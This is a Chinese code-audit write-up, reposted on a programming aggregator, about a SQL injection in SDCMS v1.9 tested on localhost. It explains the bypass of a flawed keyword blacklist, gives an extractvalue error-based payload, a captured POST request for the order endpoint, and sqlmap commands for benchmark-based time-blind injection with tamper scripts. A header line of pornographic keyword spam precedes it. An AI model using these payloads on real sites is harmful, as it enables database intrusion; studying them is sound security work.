日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sdcms代码审计之sql注入

發布時間:2024/3/26 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sdcms代码审计之sql注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.漏洞注入點分析(黑名單 )
2.注入payload構造(雙參數構造,sqlmap繞過)

注冊賬號后發現網站有在線留言功能,可以查看能否注入

但是沒有兩個連在一起的可控參數,無法利用成功

繼續往下查看

查看F函數

#F函數(get和post) function F($a,$b='') {$a=strtolower($a);if(!strpos($a,'.')){$method='other';}else{list($method,$a)=explode('.',$a,2);}switch ($method){case 'get':$input=$_GET;break;case 'post':$input=$_POST;break;case 'other':switch (REQUEST_METHOD){case 'GET':$input=$_GET;break;case 'POST':$input=$_POST;break;default:return '';break;}break;default:return '';break;}$data=isset($input[$a])?$input[$a]:$b;if(is_string($data)){$data=enhtml(trim($data));//過濾數據}return $data; }

分析發現最后傳遞給了data變量
enhtml函數內容

*stripslashes函數去除加的*

查看黑名單函數

復制出來然后看哪些字符可以繞過

function filterExp($a) {return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a; }

此處的\過濾對\過濾失效,在php中應該使用\\來過濾\。
我們可以考慮使用\進行sql注入

\\->轉義后成為了一個\ \\\\->轉義后成為了兩個\\, \\反斜杠才是字符意義上的\,其中一個是用來轉義的\

update,seleep函數被過濾,可以考慮extractvalue()報錯函數,和benchmark()時間盲注函數

雙參數插入繞過單引號注入

條件:兩個參數必須連接在一起

'abc','127.0.0.1' 第一個參數加\ 第二個參數payload 'abc\' 'payload' \'將原來用于閉合的'轉義為字符串單引號。'abc和payload前的'閉合。最后執行payload

續尋找有兩個連在一起的可控參數
查看路由,進入order函數頁面
但是sdcms.php是加密的,無法查看。可以通過瀏覽器瀏覽頁面來猜測路由

寫入測試代碼測試是否為此模塊
頁面無顯示

查看order方法位于哪個控制器

然后在order方法中寫入測試代碼

根據以上猜測構造url

http://127.0.0.1/sdcmsv1.9/?c=index&a=cate&classid=1 http://127.0.0.1/sdcmsv1.9/?c=other&a=order

查看order函數猜測可能是一個下單的處理函數,因此登錄后臺添加一個產品再做嘗試

明天繼續

然后用戶登錄頁面點擊訂購抓包

burp進行sql注入嘗試

構造payload
查看insert語句插入了多少字段

address=a&remark=a 需要注入的兩個點插入語句是INSERRT INTO sd_order(pro_name,pri_num,pro_price,orderid,truename,mobile,address,remark,ispay,isover,createdate,postip,userid) VALUES(1,2,3,4,5,6,payload1,payload2,9,10,11,12,13)INSERT INTO sd_order(adress,remark) VALUES ('','')payload1為 1\ payload2為 , 1 and extractvalue(1,concat(0x7e,(select user()), 0x7e)),1,1,1,1,1)#

使用Burp進行sql報錯嘗試。



sqlmap進行注入


11.txt內容

POST /sdcmsv1.9/?c=other&a=order&id=1 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 61 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/sdcmsv1.9/?c=index&a=show&id=1 Cookie: PHPSESSID=1gj026jd6r1p2sll0uecm4hmu5truename=a&mobile=15012345678&pronum=1&address=a\&remark=,1 *,1,1,1,1,1)#

使用sqlmap

1. python sqlmap.py -r 11.txt --dbms=mysql --technique=T -v 3 #--technique是指定注入的技術——時間盲注 -v3 顯示詳細信息

2. python sqlmap.py -r 11.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest -v 3 --batch #--test-filter=benchmark自定義payload里邊的檢測函數,由于sleep被過濾,用benchmark #tamper腳本between替換>,繞過htmlspecil函數 #greatest腳本大于號替換為greatest


總結

  • 此sql注入第一次在burp報錯注入的時候,查看報錯日志后發現雖然sql注入成功,但是錯誤信息會被cms系統統一顯示,無法利用報錯注入。
  • 利用sqlmap的tamper,和替換sleep函數,可以進行時間盲注。
  • 總結

    以上是生活随笔為你收集整理的sdcms代码审计之sql注入的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。